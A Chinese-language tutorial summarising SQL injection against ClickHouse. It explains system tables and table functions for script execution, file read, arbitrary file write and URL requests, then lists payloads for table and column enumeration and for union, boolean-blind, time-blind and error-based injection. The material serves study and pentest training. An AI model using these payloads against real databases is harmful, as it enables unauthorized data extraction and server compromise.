clickhouse注入手法总结
字数 540 2025-08-30 06:50:36
ClickHouse 注入手法总结
环境搭建
直接在 Docker 运行 ClickHouse:
docker pull clickhouse/clickhouse-server
docker run -d --name some-clickhouse-server --ulimit nofile=262144:262144 clickhouse/clickhouse-server
基础 SQL 语句
数据库操作
-- 列出数据库
show databases;
-- 列出表
show tables;
-- 查看表结构
desc system.databases;
-- 查看数据库详细信息
select name,database,data_path from system.databases;
建表语句
CREATE DATABASE IF NOT EXISTS helloworld;
CREATE TABLE helloworld.my_first_table
(
user_id UInt32,
message String,
timestamp DateTime,
metric Float32
)
ENGINE = MergeTree()
PRIMARY KEY (user_id, timestamp)
插入数据
INSERT INTO helloworld.my_first_table (user_id, message, timestamp, metric) VALUES
(101, 'Hello, ClickHouse!', now(), -1.0 ),
(102, 'Insert a lot of rows per batch', yesterday(), 1.41421 ),
(102, 'Sort your data based on your commonly-used queries', today(), 2.718 ),
(101, 'Granules are the smallest chunks of data read', now() + 5, 3.14159 )
系统数据库
system 数据库存储了数据库信息、表信息、字段信息:
-- 查询当前数据库的表
select name,table,database from system.tables where database=database();
-- 查询表的列
select name,table from system.columns where table='my_first_table';
常规函数
字符串操作
-- 字符串拼接
concatWithSeparator(sep, expr1, expr2, expr3...);
-- 字符串切割
select substring('abcdef',2,3);
-- 字符串比较
select startsWith(str, prefix);
select endsWith(str, suffix);
编码函数
select ascii('a');
select char(97);
select base64Encode('clickhouse');
select base64Decode('Y2xpY2tob3VzZQ==');
聚合函数
字段拼接
-- 返回数组类型
select groupArray(message) from my_first_table;
-- 将数组转换为字符串
select arrayStringConcat(groupArray(message),',') from my_first_table;
表函数
表函数接在 from 后面,返回的结果作为一张表。
执行脚本文件
- 在
/var/lib/clickhouse/user_scripts/目录下创建脚本文件(如1.py) - 执行 SQL:
SELECT * FROM executable('1.py', TabSeparated, 'id UInt32, random String', (SELECT 10))
TabSeparated表示脚本输出以\t分隔- 最后一个参数传入的查询结果会被传入脚本的标准输入
文件读取
-- 读取 user_files 目录下的文件
SELECT * FROM file('1.txt', 'CSV', 'column1 UInt32, column2 UInt32, column3 UInt32');
写文件
-- 任意位置可写
select 1,2,3 union all select 123,4556,789 into outfile '/tmp/1.txt';
发起网络请求
SELECT * FROM url('http://127.0.0.1:12345/', CSV, 'column1 String, column2 UInt32', headers('Accept'='text/csv; charset=utf-8'));
注入手法
获取表名
select arrayStringConcat(groupArray(name),',') from system.tables where database=database();
select arrayStringConcat(groupArray(table),',') from system.tables where database=database();
select arrayStringConcat(groupArray(table_schema),',') from information_schema.tables where table_schema=database();
获取列名
select arrayStringConcat(groupArray(name),',') from system.columns where table='your_table';
select arrayStringConcat(groupArray(column_name),',') from information_schema.tables where table_name='your_table';
联合注入
要点:
- 不能写
union select,应该写union all select或union distinct select - 两个查询对应的列的数据类型要相同
布尔盲注
ascii(substr('xxx',0,1))=97;
if(ascii(substr('xxx',0,1)) = 97,0,1);
时间盲注
if(ascii(substr('xxx',0,1)) = 97,0,sleep(1));
-- 也可以执行其他耗时的查询代替 sleep
报错注入
select 1 where 1=CAST((select database()) as UInt32);
注意事项
- ClickHouse 的
sleep函数当参数大于 3 时会直接报错 - 使用
groupArray返回的是数组类型,不能直接与字符串类型进行 union 操作 - 尝试跨目录执行文件时会报错